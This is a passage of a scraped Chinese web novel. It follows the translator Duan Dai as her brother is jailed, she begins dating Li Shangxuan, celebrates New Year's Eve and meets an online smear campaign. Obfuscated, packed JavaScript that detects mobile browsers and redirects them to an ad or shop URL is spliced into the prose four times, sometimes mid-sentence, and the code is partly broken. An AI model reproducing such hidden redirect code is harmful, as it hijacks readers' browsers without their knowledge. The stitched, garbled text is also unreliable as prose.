——段黛大帝靠着自己打天下,爹妈那三瓜俩枣的就留给耀祖好了。 ——段黛大帝还是仁慈了,要是我不管自己多厉害,父母那里该我的那份我还是会抢过来的。 ——唉,我和大帝一样,一直觉得父母更爱我不爱我弟,后来才知道他们立遗嘱根本没有我的份…… 采访播出后收获了段黛预料之中的效果,这下就算有人想用段墨来做文章也不会影响到她什么了。 又过了一个月左右,警方找到了更多罪证。最终段墨从拘留变为入狱,正式吃上了牢饭。 段光耀和赵玉兰这才知道一切都是徒劳无功。他们想再找段黛,发现自己根本不知道女儿住在哪。而网上又到处流传着段黛原生家庭的故事,叫他们也没办法动用什么舆论的力量来逼迫她就范。 走投无路的老两口来监狱探视段墨,哭诉着怎么会这样。段墨被调查了这么多天,早就接受现实了,现在听着段光耀和赵玉兰哭哭啼啼的只觉得心烦。 “你妹妹也不帮你一把……” 段墨忽然道:“要是你们不信奉什么打压式教育,不动什么捧杀的心思,说不定我还不会这么怨恨段黛,我也能坦然的接受她的好意。到时候段黛也不会寒了心对我不管不顾,我也不至于走上今天这条路。” “你们就是这样,爱谁就要打压谁,结果妹妹不仅没被你们捧杀反而还功成名就了,只有我成了疯子。你们汲汲营营了这么多年,最后全是笑话。” 探视时间还没结束,段墨就转头让狱警带自己走了。 段光耀和赵玉兰愣了好一会儿,最终对着已经空了的对面哭天喊地:“是我错了啊……” 曾经段墨发达时购买的所有资产都被收回抵债了。老两口在临安挣扎了一些时日,终于接受了无力回天的事实,最终心如死灰地回了老家。 一切尘埃落定后,段黛终于现身,来监狱见了段墨。 段墨剃了光头,身上穿着囚服,之前特立独行的艺术家气息算是荡然无存了。段黛见他坐下,拿起了面前的电话,放在了耳边。 段墨也握住了听筒。 “你是来看我笑话的吗?” 段黛看着他有些发黑的眼圈:“你有什么笑话是值得我看的?” 段墨先是一愣,随后苦笑。 “我在你眼里,甚至都不到仇人的层级啊。” 段黛:“势均力敌的才是仇人,降维打击的只能叫蝼蚁。” 段墨愕然。 好歹毒的话啊。 段黛一只手握着听筒,另一只手托着下巴:“我其实是不理解。段墨,你为什么这么恨我?” 她蹙眉盯着玻璃对面的他:“不对,应该说……你有什么资格恨我?” 段墨沉默半晌,面露苦涩:“我早就不恨你了。” 段黛定定地看着他。 段墨抹了一把脸:“你太优秀了,段黛。从小到大我都活在你的阴影里,父母会说我如果有你一半优秀就好了,所有亲戚朋友都会说‘你看看人家段黛’……我是你的哥哥啊,我每天都要和‘别人家的孩子’朝夕相处,你让我怎么能不嫉妒?” “我每次听到你叫我哥哥都觉得很烦,感觉你是假惺惺的接着关心的名义嘲笑我。你可以轻轻松松考上F大,而我只能靠着艺术才能读大学……我真的很讨厌爸妈对我说‘你以后只能指望你妹妹了’。我很讨厌这种感觉,其实我也有优秀的地方的,可是站在你身边我就像个垃圾一样,并且他们也只能看到像太阳一样的你,自然也就把星星一般的我当成石头了。” “我考上美院那天,父母说你考了全区第一名。我找不到工作的时候,父母说你保研在F大继续读书……” “我一直在期待你栽跟头的样子,但是你没有。你在上学的时候就对接了出版社,根本不需要经历找工作的痛苦,甚至还有经商的才能……怎么会有这么完美的人?一次一次夺走我的全部光彩?” 说着说着段墨忽然笑了:“我其实希望你能恶劣一些,大声的嘲笑我,骂我是个废物。这样我就有合理的理由怨恨你了。可是你总是那副样子,又是给我安排工作又是叫人照顾我……你对我太好了,让我的那些心思愈发卑劣了,我的怨恨没有正当的理由,我清楚地知道自己就是那个见不得阳光的蛆。” 他深深地看着段黛:“你让我知道自己是条蛆。” 段黛安静地看着他,轻声道:“但是父母其实是偏心你的。” “是啊,”眼泪从段墨的眼眶里流了出来,“直到你出国之后我才知道,我们家居然是那种可笑的重男轻女家庭。他们奉行着打是亲骂是爱的原则,原来让我痛苦了这么多年的事情都是爱我的表现。我知道他们算计着让你来给我还房贷的时候,只觉得非常可笑。我阴暗了这么多年痛苦了这么多年,最后竟然像个笑话一样。你居然才是受害者,我居然还是个既得利益者……我那时觉得天都塌了。以前我还可以恨你段黛,但是得知真相后……我都不知道该恨谁了。” 段黛垂下眼眸:“可能这就是——聪明反被聪明误吧。” 段墨扶额苦笑,眼泪止不住地奔涌而出。他的头轻轻地触上了面前的玻璃,冰冷的玻璃在触碰到额头的瞬间带来了刺骨的凉。 忽然像是有电流击中了他的身体,眨眼间传遍四肢百骸。段墨愣了一下,接收着脑中那段陌生又熟悉的记忆。 他看到自己被引荐给文森特之后功成名就,然后看到了段黛的尸体。 “……” 段黛看着他莫名扭曲的反应,忽然想到了什么:“你不会是……” 段墨终于找回了自己的理智,他难以置信地看着对面的段黛:“你也重生了?你知道我和陈方烨还有邓辞他们……所以你才……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14050067|139721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只此一句,段黛便知道段墨也觉醒了原作记忆。她笑着摇了摇头:“不,我不是重生的。” 段黛压低了声音,握着听筒,如同鬼魅在耳边低语。 “你的妹妹一直都很关心你,她从来都没有变过。只可惜,你不知道珍惜,还嫌她烦呢。” “只是她已经不在这里了。在你决定给她一个教训的放她鸽子的那个晚上,她就不在了。” “至于我——不过是一个穿书的局外人——一个鸠占鹊巢的毒妇罢了。” 说罢,段黛挂了电话,头也不回地离开了。 段墨呆呆地看着段黛的背影,好长时间才消化明白她的意思。他猛地站起身来,拼命拍打着玻璃:“你回来!你到底是谁!我妹妹她到底怎么了……” 狱警们立刻压住了段墨,训斥道:“别乱动!老老实实回去!” 瘦弱的段墨拼命挣扎着,但也挣脱不开身强力壮的警察。他对着外面声嘶力竭:“你给我回来……对不起哥哥知道错了……你让她回来好不好……” 段黛沉默着离开了监狱。走到室外,一片冰凉落在了她的眼镜上。她后知后觉地抬起头来,看着漫天飞舞的雪花有些恍惚。 “……下雪了啊。” 黎尚轩迎面走了过来:“临安不常下雪,今天也是难得。见过你哥哥了吗?” 段黛点了点头。 她也不知道今天是怎么想的,没有自己开车来见段墨,而是叫黎尚轩来送她。黎尚轩对于当她的司机这件事乐意至极,爽快地同意了她的请求。 “外面冷,赶紧上车吧。” 段黛又一次点了点头:“好。” 这些日子,黎尚轩也从采访片段里大概了解了段黛家的情况。不过他没有多嘴问什么,只是像往常一样和她一起去超市购物,偶尔叫她来蹭饭。 车门关上,段黛扣好了安全带。空调的暖风迎面吹来,黎尚轩左右看着,把车子从车位里倒出来。 段黛忽然问:“你不好奇我家人到底是怎么回事吗?从来不见你问我这些事情呢。” 鹿颖当时还追问了好几遍段墨入狱后段光耀和赵玉兰的事情呢。 黎尚轩笑了笑:“你如果想说的话一定会主动告诉我的。既然你一直不谈的话,那说明你并不想聊这些问题。” 段黛低头笑了起来:“你还挺了解我的。” “能被你亲自盖章认证了解你,也是我的荣幸了。” 段黛转头看着窗外纷纷扬扬的雪花,不知不觉间竟然又到了年底了。 “又是一年啊。” 黎尚轩附和:“是啊,又是一年了。” 段黛回过头来,看着前面的路。红灯亮起,黎尚轩将车子停下。 就在这时,段黛轻声开口:“黎尚轩,我们谈恋爱吧。” 黎尚轩猛地扭头。 段黛笑了笑:“没想到一考虑居然考虑了半年。你的表白还有效吗?” 黎尚轩先是愣怔,紧接着露出了一个发自内心且难以自持的笑容:“当然!” 83. 卷王的年终总结 新区其实还没建好,但是已经有不少人因为工作等各种理由搬过去了。段黛和鹿颖合资加盟的奶茶店进入爆单状态,渐渐的收回成本。 而茶魔的门店在陈方烨的考察之后也开起来,不偏不倚就在Season的隔壁。鹿颖和陈方烨都会时不时来这边的门店转一转,然后开启了搞笑的商战。 今天陈方烨把茶魔的二维码做成牌子举到Season店前,明天鹿颖就雇了两个大学生穿着Season吉祥物的玩偶服在茶魔门口跳社会摇。这两天下雪,茶魔门口的牌子也被挡了一层,鹿颖立刻用手在雪上写了Season的广告词。 段黛来巡店的时候啼笑皆非,万万没想到陈方烨面对昔日的白月光也能采用如此“卑劣”的手段。她坐在店里,看着已经熟悉业务的店员熟练地贴标签打奶茶,默默点头表达了自己的满意:“小鹿啊,这家店被你经营的很好。” 鹿颖:“所以你终于谈恋爱了?” 段黛扭过头来。来的时候她告诉鹿颖自己谈恋爱了,于是鹿颖就兴奋了整整一路。 “你男朋友是做什么的?月薪多少?哪里人?” 段黛:“他长的挺帅的。” 鹿颖做出战术后仰的姿势:“嗯?” 段黛的嘴角忍不住扬了扬:“他身材也好,穿衣显瘦脱衣有肉,而且胸大。” 鹿颖:“卧槽,大胸男妈妈!不是……你怎么全在说他长相?想不到你是这样的段黛……” 段黛梗着脖子:“当然要看长相了,长得帅看着就养眼,心情不好看一看他的脸就高兴了,再不行还可以摸一把他的……” “打住打住!”鹿颖尖叫,“你平时看着一本正经的怎么色了吧唧的?” 段黛终于舍得说黎尚轩其他的特征了:“他做饭还好吃。” 鹿颖:“……真是大胸男妈妈啊。” 说完之后鹿颖觉得有些不可思议:“你不会是找了个擦边男主播谈恋爱吧?他不会是要靠你养着的吧?” 段黛这才道:“说什么呢,他是家装设计师,我的房子就是他设计的。” 鹿颖呼出一口气:“我还以为你已经肤浅到可以容忍绣花枕头一包草的程度了……他这么厉害你不先说?又是长的好看又是身材好的让我误会了……” 段黛却笑了起来:“为什么会误会呢?” 鹿颖也愣了一下。 是啊,为什么会误会呢。 段黛继续:“虽然我不可能和蠢货谈恋爱,但是对我来说男朋友最重要的是皮相和情绪价值。至于他的身份、收入……并不是我主要考虑的内容。不喜欢蠢货,也是为了防止交流起来有障碍,并且听起来有面子一些。” 鹿颖:“……有种很奇怪的感觉。” 段黛淡定道:“没事,每个人的择偶标准不一样。” 正在两人说话时,陈方烨冲了过来:“你在我们家牌子上写你们广告词……段黛?” 三人以一种奇怪的姿态单独见面了。段黛坐在桌前巍然不动,鹿颖则挡在了她的前面,一脸戒备地看着陈方烨。 上次他们三个人单独见面的时候虽然也是这种情况,但每个人站的位置都不一样。很难想象当时挡在前面的人是陈方烨,被护在身后的是鹿颖,而对面一脸不知所措的人才是段黛。 陈方烨大约也想到了这些事情,一时间脸上变幻莫测。他想了半天,最终选择倒打一耙:“你出国前还经常来找我,出国之后我给你发了那么多消息都爱搭不理的……现在你回国看到我落魄了段黛风光了,就上赶着抱她的大腿是吧?” 鹿颖:“我不回你是因为你分享欲过剩了,我真的懒得理你。” 段黛在后面幽幽开口:“你也知道分享欲过剩不好啊。” “……” 鹿颖一脸震惊地扭过头来:“你嫌弃我?” 段黛:“……” 在鹿颖马上就要表演窝囊废文学的前夕,段黛扭过头,违心地安抚她:“……没有。” 鹿颖立刻转忧为喜,笑着继续针对陈方烨。 鹿颖叫员工做了两杯奶茶,转头对段黛道:“这是我研发的新品,刚上线的,你尝尝好不好喝。” Season的新品加了抹茶,陈方烨一脸不屑:“段黛可不喜欢抹茶。” “真的假的?”鹿颖诧异地看了过来。段黛挑了挑眉,接过来插上吸管喝了一口。 在奶茶的香浓之余又有抹茶独特的清香,段黛赞叹:“好喝。” 鹿颖不放心:“你不讨厌抹茶吧?” 段黛笑道:“你忘了咱们刚见面的时候一起吃冰激凌,我买的是抹茶味的了?” 鹿颖松了口气:“哦对,我也记得你挺喜欢抹茶的。” 说完她白了陈方烨一眼:“你瞎说什么呢。” 陈方烨看到段黛喝抹茶的时候已经很不可思议了,在得知段黛也会吃抹茶味儿的冰激凌的时候更是震惊。他回想起自己和段黛曾经相处的日子,虽然他能记住的段黛的习惯不多,但到底开过奶茶店,段黛不吃抹茶这件事他还是有印象的。 为什么现在的段黛反而很喜欢抹茶了? “你……” 鹿颖无视陈方烨难看的脸色,转头对段黛道:“这恋爱谈的,当男朋友的都不知道你喜欢什么……” 说完之后鹿颖又觉得有些不妥,毕竟她才想起来面前的段黛是换了个芯子的,喜好有所变化也是正常的。于是她换了个话题:“幸好你现在有新男朋友了……” 陈方烨豁然抬头:“是那个人吧?” 段黛点了点头:“你不是早就知道吗?” “什么什么?连他都见过你男朋友而我没见过?” 鹿颖的那句“你男朋友”深深地扎在陈方烨的心口,一遍又一遍地提醒着他段黛早已离开他的现实。 陈方烨满脸苦涩:“你到底还是……” 段黛不喜欢这种煽情的场面。她蹙了蹙眉,起身道:“店不错,我就先回去了。” 鹿颖有些意外:“这就回去了?” 段黛浅浅一笑:“嗯,过年之前争取把手上的稿件翻译完。” 陈方烨咽下了那些深情发言:“这么冷的天,那个人也不来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14062400|139721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接你?” 段黛淡淡地瞥了他一眼:“我自己有车,为什么非要别人来接?” 说罢,她走出了店门。路边一辆车闪了两下车灯,她拉开车门,走了进去。 看着她的背影,鹿颖喃喃道:“我感觉她谈恋爱……很不一样。” 陈方烨冷哼一声:“她太强势了,恋爱不会长久的。” 说完之后他自己也愣了一下。段黛以前……是很强势的性格吗? “这就强势了?”鹿颖哼了一声,“是你太废物了吧!” “你……” 转眼间一年又过去了,各大单位按照法定节假日的要求开始放元旦假期。关月兰下班之后提着临译社要送给段黛的纪念品,敲开了段黛家的门。 段黛开门时看到外面大包小包的东西愣了一下:“这么多?” 关月兰:“这是对待自家招牌该有的关照。” 临译社送了两套特装书,一个笔记本套盒,一个临译社文创套装,然后是各种各样的小吃甜品。关月兰知道段黛是在自己家过年,还去薅了一个三层的木制零食礼盒过来:“里面的零食吃完了还可以放糖进去,过年的时候可以放在茶几上。” 段黛哭笑不得:“还挺有仪式感的。” 关月兰晚上打算去附近的广场跨年,所以并不急着回家,打算在段黛这里待到时候再直接出发去商场。段黛本想从冰箱里拿喝的出来,忽然想到关月兰是从非常寒冷的室外进来的,现在还没暖和透,于是转头冲了一杯温豆奶递给她。 关月兰看着豆奶一脸吃惊:“你现在这么养生啊。” 段黛:“对身体好。当然也好喝” 关月兰哭笑不得,拿起杯子来抿了一口:“确实挺好喝的。” 一杯温豆奶下肚,段黛家里又开着暖风,关月兰很快就暖和了起来。她脱掉外套,忽然突发奇想:“临译社准备给每个编辑弄个年终总结报告,我觉得也可以给你做一个。” 段黛坐在沙发上:“……怎么总结?” 关月兰思考了一番,开口道:“亲爱的翻译家段黛,您好。” “这一年,您翻译了八本作品,其中七本首月销量在十万以上,一本首月销量在三十万以上,突破了临安译文出版社的记录。” “您还记得《殡葬师》这本书吗?在翻译这本书期间,您成功击败了一名猥琐男,达成‘送人进ICU’成就。” “您闷声干大事,获得了文化自信使者的称号,偷偷投资,惊艳了所有人。” “您在澳大利亚期间,破解了诺奖作家童年之谜,解锁了亚洲地区女性力量奖成就,成为了名副其实的段黛大帝。” “这一年,您打败了造黄谣的竹马,击败了盲目自信的前男友,并将吸血而不自知的哥哥送进了监狱。” “您的年度关键词是‘卷’,明年请继续加油哦~” 段黛听着关月兰字正腔圆的声音有些好笑,想了想她纠正道:“其实不止八本作品,我休息的时候还翻译了三本日语轻小说你没算进去……” 关月兰:“……你还是人吗?” 84. 又是一年 关月兰准备离开时,恰好黎尚轩来了。他今天陪客户一起验收刚装修好的房子,再加上回来后又先去超市买了菜,所以现在才到。关月兰仔细打量了黎尚轩一番,转头对段黛露出了一个意味深长的笑容。 段黛能看出来,她说的是“你吃的真不错”。 黎尚轩礼貌地和关月兰打了招呼,接着站到门内,和段黛一起把人送了出去。门关上后,黎尚轩放下手里的袋子,张开双臂:“要抱。” 段黛笑了起来,伸手揽住了他,在他的唇上轻轻一吻。 腻歪结束之后黎尚轩弯腰重新提起袋子进了厨房,段黛跟在后面:“今晚吃什么呀?” 黎尚轩熟练的摘下了挂在一边的围裙戴上:“我打算做个芝士烤排骨,煮个酸菜鱼,炒个蛋黄鸡翅,嗯……暂时还没想到别的,反正菜买了不少,到时候想做什么再做就好了。” 段黛自己也是做饭的,不过她从来不穿围裙,这条围裙就是给黎尚轩准备的。 她蹲在地上翻了翻袋子:“你买的还真不少……喔,还买了贝贝南瓜呢。” 黎尚轩:“打折便宜,就买了两个。” 段黛把南瓜拿了出来:“餐后甜品就做南瓜羹吧。我看看你还买了什么……” 黎尚轩洗过手之后便开始大展身手了,他把排骨焯水洗净后抹上了自制的酱料,接着一块一块地码在烤盘里送进烤箱。烤箱里的暖灯亮了起来,黎尚轩继续去做酸菜鱼。 段黛把南瓜洗净后送进微波炉加热,几分钟后硬邦邦的南瓜就软了下来。手指碰上南瓜时被烫了一下,段黛“嘶”了一声。黎尚轩立即回头:“别着急呀,刚出锅肯定烫。快去冲水。” 他找出一双防烫手套来戴上:“你要给南瓜切个盖子是不是?我来吧。” 段黛嘿嘿一笑,看着他给两个南瓜都开了瓢,然后迅速摘了手套去冲水:“还是烫啊,手套都隔不住。” 隔着好几层毛巾,段黛把南瓜里的杍一点点去掉。经过一番折腾后,南瓜也终于不那么烫了。她用勺子挖出大部分南瓜肉倒进料理机里,又加了牛奶和鸡蛋,盖上盖子打成糊糊之后重新倒回南瓜碗里。为了防止“碗”破皮,她把南瓜放进了锡纸盘,接着送进了空气炸锅。 奶香南瓜香飘散开来,很快又被油烟的香气覆盖。段黛凑到烤箱前,借着里面橙黄色的灯光看到排骨渐渐上色,冒出了晶莹的汁水。 “能帮我洗一下鸡翅吗?”黎尚轩一边往锅里丢着鱼片一边问。 段黛转身:“来了!” 几道菜齐齐上桌,段黛拿出手机拍了照片:“手机先吃。” 黎尚轩摘下围裙:“你喝葡萄汁还是苹果汁?” 段黛:“葡萄汁,我想喝冰的。” 黎尚轩依言从冰箱里拿出葡萄汁来,倒了一杯递给了段黛,接着才坐下来:“吃饭吃饭!” 段黛先舀起一勺鱼肉来,酸菜鱼咸香四溢,辣味儿不重,酸味恰到好处,鱼肉嫩滑爽口。段黛许久不吃这种味道重的菜,如今来上一口竟然十分开胃。 吃过鱼肉后,段黛又夹起一块排骨。黎尚轩在排骨烤好之后,用牛奶混合芝士一起加热做成了奶香芝士酱,装在碗里放在排骨旁边。段黛将排骨放在芝士酱里裹了一圈,奶香和肉香一起在口中绽放。 “这个是真的好吃!” 黎尚轩也夹了一块排骨:“我也尝尝。” 排骨下面垫了一层蔬菜,吸收了烤排骨时淌出来的油花和肉汁,现在看起来是非常有食欲的焦焦的模样。段黛夹了一块下面的洋葱:“这样直接吃烤蔬菜还挺好吃的。” 黎尚轩:“在某种程度上可以让自己多吃蔬菜。” 段黛忍俊不禁。 蛋黄鸡翅还是一如既往的美味,段黛最近半年都很喜欢这道菜,几乎每次和黎尚轩一起吃饭都要吃这个。有段时间她鸡翅吃腻了,但又依然喜欢咸蛋黄外皮的味道,于是黎尚轩变着花样做了蛋黄排骨、蛋黄里脊等等。 “还是原版的蛋黄鸡翅最好吃啊。”段黛感慨。 餐后一人抱着一个南瓜碗,吃里面的南瓜羹。黎尚轩掀开盖子,笑道:“用南瓜装南瓜,省的洗碗了。” 段黛得意道:“最后可以直接把碗吃掉的。” 黎尚轩:“不愧是你。” 饭后两人也去了关月兰打算跨年的那个广场。现在广场上热闹非凡,路边停了不少小吃摊,食物的香味儿伴随着烟气和蒸汽腾空而上,构成人间烟火的点点滴滴。一旁室内的商场里播放着男团女团的歌曲,仔细看过去才知道是什么Kpop随舞活动,一群年轻男女在严寒的冬日依旧穿着火辣的打歌服,在听到自己喜欢的音乐时冲上舞台中央跟舞。 两人刚吃过饭,当然是不会再吃小吃了,于是凑过去看了一会儿随舞活动。黎尚轩站在一旁听了一会儿,有几首比较耳熟,大约是经常被短视频拿来做配乐了。他转头问段黛:“你平时更喜欢听哪种类型的歌?” 段黛:“也不一定是哪种类型的,好听就可以。” 黎尚轩:“你还会英语和法语的话……会注意多听这些语言的歌吗?” “并不会,”段黛笑了笑,“其实我反而会避免听自己能听懂的语言的歌……毕竟你也知道欧美那边的歌曲虽然好听,但歌词都太……嗯……而且他们的文化就是那样的所以……不能第一时间听懂的倒还好,完全能听明白的话就有点想笑了。” 黎尚轩忍俊不禁:“听不懂的就是最好听的。” 段黛连连点头:“能听懂歌词的话,就会在意词写的尴不尴尬了。” 黎尚轩伸出手来,小心地碰了一下段黛的手。段黛心领神会,主动握住了他。 并且是十指相扣。 黎尚轩的耳朵有些红,他没话找话道:“虽然我平时不太爱凑热闹,但是有时候来这种人很多的活动玩一玩,感觉……还挺不错的。” 段黛推了一下鼻梁上的眼镜,隔着玻璃看着外面熙熙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14080743|139721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 攘攘的人群,又转头看着在舞台上挥洒着汗水的Kpop人。 “我也是。”她轻声道。 虽然人很多,但是不需要自己去主动社交。周围热热闹闹的,哪怕自己没有去做什么,也有一种参与其中的感觉。 这让长期居家的段黛能感觉自己依然是这个社会的一分子,没有与社会脱节。 不知道为什么,在这种喧嚣热闹的人山人海之中,段黛反而有种心情平静的感觉。 黎尚轩笑了起来:“那就好。” 跨年自然是要在零点才跨的,现在才九点多点,还有近两个小时。所幸黎尚轩提前看过附近电影院的场次,知道大概就在这段时间有一场不到两小时的电影。现在看一看时间,十五分钟后开场,两人现在过去恰好合适。 于是他问段黛:“是悬疑片,看吗?” 段黛看到他展示的精妙卡点后非常惊喜:“看,咱们走。” 他们当即上楼去了电影城,取票之后恰好检票开始。他们安安稳稳的进了放映厅,享受着这种恰到好处的充实。 电影看完之后再出来时已经十一点多了,外面的人不减反增。段黛伸了个懒腰,闻到一股虽然廉价但极其诱人的香味儿。她扭过头去,看到街边一个摊位正在卖烤肠。 她随手拍了拍身边的黎尚轩,也没注意自己到底拍到哪去了:“走走走,去买烤肠!” 段黛走到摊位跟前时,一根油光锃亮的烤肠恰好“啪”的一声爆开。段黛指着那根烤肠道:“就要那根!” “好嘞,您的烤肠——” 段黛接过签子,黎尚轩提醒她:“小心烫哦。” 本来马上要张嘴的段黛立刻缩了回去,先吹了吹气,然后才小心翼翼地咬下一口。肉汁淌进嘴里,香气四溢,确实是烫的,但因为段黛提前做好了准备所以并没有怎么样。 吃了两口烤肠之后段黛感慨:“没想到这么快又过去一年了啊。” 黎尚轩:“我记得一年前还帮你搬家来着,时间真快啊。” 忽然“啪”的一声,烟火腾空,在夜空之中绽放出了绚丽的图案。段黛抬起头来:“哇哦。” 黎尚轩也望了过去,在第一发烟花升空之后,其他烟花也接二连三地冲上了天空:“上次咱们看烟花的时候还是在上次呢。” 段黛:“谢谢你,谁也不知道这个十六岁的少女四年前只有十二岁。” 黎尚轩和段黛没笑,但是旁边站着的几对小情侣听到他们的话却哧哧地笑出了声。时钟的指针就在这一瞬间从12月31日23:59跳到了1月1日0:00,人群中响起一阵新年快乐,段黛的手机也因为收到了众多人的新年祝福而震个不停。 她按亮手机,消息通知栏排了长长的一列,都是各种各样的新年快乐。 “段黛,”黎尚轩的声音在耳畔响起,段黛抬起头来,和他笑意盈盈的双眼对视,“新年快乐。” 段黛莞尔:“新年快乐。” 85. 大帝居然也有黑料了 鹿颖看着段黛发在V博里的跨年夜晚餐长吁短叹:“你是说,这些芝士排骨、酸菜鱼……都是你男朋友做的?” 段黛点了点头。 元旦第一天,放了假的鹿颖闲着无聊,又拉着段黛来巡视她们的奶茶店。鹿颖关注了段黛的V博,本来以为段黛发的晚餐是她自己做的,一问才知道大多出自黎尚轩之手。 “靠,你刚谈恋爱的时候跟我说会做饭我还没意识到是怎么回事……这也太牛了吧!” 鹿颖接着坦白了自己在国外就开始视奸段黛V博的行为:“去年我看你发的跨年晚餐和年夜饭,还以为今年也是你做的呢……” 段黛:“实不相瞒,去年我晒得那些也是他做的。” 鹿颖:“……靠。” 她长吁短叹:“我以后也要找个会做饭的男朋友。” 感慨完段黛在各种意义上都吃的真好之后,鹿颖又道:“不过你怎么不在V博上说这是你男朋友做的啊?我看自从那次采访之后也有不少人关心你的感情状况呢。” 段黛单手托腮,百无聊赖地叠着手里的纸袋子:“我又不是明星或者网红,没必要把自己的私生活全展示给读者看。现在适当经营一下也是为了方便出版社宣发新书。而且万一将来分手了,那还要去公共平台上解释一下,岂不是很无语?” 鹿颖一脸诧异:“啊?分手?你们不是奔着结婚去的吗?” 段黛蹙眉:“虽然大家谈恋爱的时候都是奔着一生一世去的,但实际上分道扬镳的情况才是最多的。对一段感情抱有过高的期待只会内耗自己,享受当下,享受现在已有的爱意才是明智的选择。” 鹿颖的嘴巴张成了O型:“你们海誓山盟的时候难道说的是‘我现在很爱你’而不是‘我永远爱你’?” 段黛拙劣地模仿了一个表情包的动作:“诶嘿,被你猜中啦!” 鹿颖:“……我真是服了,我都怀疑你出生的时候根本不哭,而是冷静地说‘我觉得现在我应该喝奶了’。” 段黛歪头:“婴儿出声肯定会哭的,因为肺部会进入空气……不过不考虑生理问题的话确实是这样,毕竟哭又解决不了问题。” 鹿颖:“……” 他大爷的,f人永远理解不了t人。 鹿颖深吸一口气:“所以,你是不打算公开自己的感情状况了?” 段黛:“是呀。” 鹿颖:“那如果你结婚了呢?” 段黛:“这种事没必要告诉读者,告诉亲朋好友就行了。要不然离婚了还得再跟读者说一次,没必要,太麻烦了。而且我也不一定会结婚。” 鹿颖:“……绝了。” 她叹了口气,看着玻璃外渐渐繁华起来的商业区。现在的商场已经很成熟了,有一所大学的校区更是计划在夏季学期开学后就迁一批学生过来。 “也是,关注你的人实际上都是读者,老拿男朋友这些跟他们讲也没什么意思,不公开聊这些事情应该也是好事。” 段黛莞尔:“毕竟我谈不谈恋爱对读者来说关系不大,最多只是个茶余饭后的八卦罢了。” 如果不是因为之前的事情,段黛甚至都不需要公开露脸,毕竟读者也没必要知道一个翻译家到底长什么样。 假期结束,所有人都回到自己的工作岗位,在春节到来之前完成最后的任务。关月兰习惯了在上班的第一天打开电脑检查邮件的时候收到段黛的稿件,周围人打趣道:“段老师这么努力,说不定也能获得个终身成就奖呢。” 临译社也是有一个获得过终身成就奖的合作译者的,不过这已经是五六年前的事情了。那位译者已经退休了,隔个一年两年的才会出山,并且主要做的是把中文作品翻译成外语输出海外的工作,临译社也不好意思总扯人家的名号给自己宣传。 要是能再有一个获得终身成就奖的作者,那可真是…… 关月兰笑了笑:“段黛还年轻呢,你们的期望也太高了。不过获个优秀青年之类的还是可以期待一下的……” 除了对事业的盘算,更多的人还是在摆着手指头数还有多久才能放年假。然而今年过年比较晚,得到二月下旬才是春节。不少人垂头丧气,感慨着慢慢挨吧。 段黛也签了新的翻译合同,一边读着原书一边搜集着相关资料。 一切都风平浪静,一派岁月静好的模样。 然后,在一个阳光明媚的周末,一个词条伴着几张模糊的照片,悄悄爬上了同城热搜。 #知名翻译家段黛出轨 @黑曜石:“我是段黛和陈方烨的共同好友。我实在不忍心看到陈方烨一直被蒙在鼓里,所以决定把真相说出来。” 这个ID是黑曜石的人啰啰嗦嗦一大堆,简单概括下来其实只有这几点意思—— 段黛在与陈方烨恋爱期间移情别恋,于是冷暴力陈方烨逼他分手。 段黛和陈方烨一起创立了奶茶品牌“林深”,在两人分手后段黛不仅对“林深”不管不问,还逼迫陈方烨用高价购买她手里的股份。陈方烨为了公司的发展,不得不接受她的无理要求。 但段黛并没有就此罢手。她将林深的机密转手卖给了竞争对手,大赚一笔后潇洒离开。而林深则举步维艰江河日下,一日一日走向败落。 最后林深好不容易迎来一个转机,可以与一部日轻作品联名,借此挽回经济损失。但这部日轻作品是由临译社出版的,段黛动用手里的人脉拒绝和林深合作,才导致林深最终被收购。 在大段的小作文之后又配了几张不知道在哪偷拍的段黛和黎尚轩约会的照片,说这都是在段黛和陈方烨恋爱存续期间拍到的“出轨证据”。 因为之前的种种事件,段黛在网上多少也算是个风云人物,所以带着段黛名号的话题多少还是会有人看到的。不过一开始回应的人并不多,大部分人都是静观其变,毕竟黑曜石除了小作文和几张似是而非的照片之外什么都没有,很难不认为他只是在胡编乱造。 ——林深我知道哎,以前喝过它家的奶茶,后来不知道怎么突然就没了,查了一下才知道破产了…… ——段黛和林深的老板谈过恋爱?我天我才知道… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 